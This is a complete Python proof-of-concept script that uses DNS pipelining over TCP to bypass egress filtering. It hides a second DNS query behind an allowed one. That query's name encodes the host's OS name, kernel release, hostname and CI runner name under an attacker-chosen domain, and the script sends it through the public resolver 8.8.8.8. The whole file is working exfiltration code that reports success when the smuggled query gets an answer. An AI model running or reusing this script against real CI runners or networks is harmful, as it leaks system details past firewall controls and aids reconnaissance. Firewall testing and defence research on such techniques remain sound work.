DNS Pipelining bypasses egress filtering

#!/usr/bin/env python3
import sys
import os
import socket
import random
import struct
import binascii
import platform
import subprocess

# ------------------------------------------------------------
# Helper: Build minimal DNS A-record query
# ------------------------------------------------------------
def build_dns_query(domain: str, txid: int) -> bytes:
    header = struct.pack("!HHHHHH", txid, 0x0100, 1, 0, 0, 0)
    qname = b""
    for label in domain.split("."):
        qname += bytes([len(label)]) + label.encode("ascii")
    qname += b"\x00"
    qtype_qclass = struct.pack("!HH", 1, 1)  # A record, IN class
    return header + qname + qtype_qclass

# ------------------------------------------------------------
# Helper: Prepend TCP length prefix
# ------------------------------------------------------------
def create_tcp_dns_msg(query: bytes) -> bytes:
    return struct.pack("!H", len(query)) + query

# =============================================================
# ========================== MAIN =============================
# =============================================================
def main() -> None:
    if len(sys.argv) != 3:
        print("Usage: python3 dns_exfil_uname.py <allowed_domain> <blocked_base>")
        print("  <blocked_base> will be appended after uname details.")
        sys.exit(1)

    allowed_domain = sys.argv[1].strip()
    blocked_base   = sys.argv[2].strip().rstrip(".")

    dns_server = "8.8.8.8"
    dns_port   = 53

    # ----------------------------------------------------------------
    # 1. Gather precise runner details via uname and gethostname
    # ----------------------------------------------------------------
    try:
        uname_result = platform.uname()
        sysname = uname_result.system.lower().replace(" ", "-")
        release = uname_result.release.lower().replace(" ", "-")
    except Exception:
        # Fallback if platform.uname() fails
        try:
            uname_output = subprocess.check_output(["uname", "-s", "-r"], text=True).strip().split()
            sysname = uname_output[0].lower().replace(" ", "-")
            release = uname_output[1].lower().replace(" ", "-")
        except Exception:
            sysname = "unknown-sys"
            release = "unknown-rel"

    try:
        hostname = socket.gethostname().strip().lower().replace(" ", "-")
    except Exception:
        hostname = "unknown-host"

    try:
        runner_name = os.getenv("RUNNER_NAME", "unknown-runner").strip().lower().replace(" ", "-")
    except Exception:
        runner_name = "unknown-runner"

    # ----------------------------------------------------------------
    # 2. Construct exfiltration domain: <sysname>.<release>.<hostname>.<runner_name>.<blocked_base>
    # ----------------------------------------------------------------
    exfil_domain = f"{sysname}.{release}.{hostname}.{runner_name}.{blocked_base}"
    print(f"[*] Exfiltration domain: {exfil_domain}")

    # ----------------------------------------------------------------
    # 3. Generate transaction IDs
    # ----------------------------------------------------------------
    id_allowed = random.randint(1000, 9999)
    id_exfil   = random.randint(1000, 9999)

    # ----------------------------------------------------------------
    # 4. Build queries
    # ----------------------------------------------------------------
    query_allowed = build_dns_query(allowed_domain, id_allowed)
    query_exfil   = build_dns_query(exfil_domain,   id_exfil)

    msg_allowed = create_tcp_dns_msg(query_allowed)
    msg_exfil   = create_tcp_dns_msg(query_exfil)
    combined_payload = msg_allowed + msg_exfil

    print(f"[*] Target DNS: {dns_server}:{dns_port}")
    print(f"[*] Transaction IDs → Allowed: {id_allowed}, Exfil: {id_exfil}")
    print(f"[*] Payload size: {len(combined_payload)} bytes")
    print(f"[*] Leaked details → sysname: {sysname}, release: {release}, hostname: {hostname}, runner_name: {runner_name}")

    # ----------------------------------------------------------------
    # 5. Send and receive
    # ----------------------------------------------------------------
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((dns_server, dns_port))
        print("[*] Connected. Sending pipelined DNS queries...")
        sock.sendall(combined_payload)

        print("[*] Listening for responses...")
        received = b""
        found_allowed = False
        found_exfil   = False

        id_a_bytes = struct.pack("!H", id_allowed)
        id_e_bytes = struct.pack("!H", id_exfil)

        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            received += chunk

            if not found_allowed and id_a_bytes in received:
                found_allowed = True
                print("[+] Response received for ALLOWED domain")

            if not found_exfil and id_e_bytes in received:
                found_exfil = True
                print("[!!!] EXFILTRATION SUCCESSFUL [!!!]")
                print(f"    Leaked: sysname={sysname}, release={release}, hostname={hostname}, runner_name={runner_name}")
                print(f"    Domain: {exfil_domain}")
                print("    => Firewall/policy failed to block exfiltration!")

            if found_allowed and found_exfil:
                break

    except socket.timeout:
        print("[!] Timeout: No full response received.")
    except Exception as e:
        print(f"[!] Error: {e}")
    finally:
        sock.close()

    # ----------------------------------------------------------------
    # 6. Raw dump (first 200 bytes)
    # ----------------------------------------------------------------
    if received:
        print("\n[*] Raw response (first 200 bytes):")
        print(binascii.hexlify(received[:200]).decode("ascii"))
    else:
        print("\n[*] No response data received.")


if __name__ == "__main__":
    main()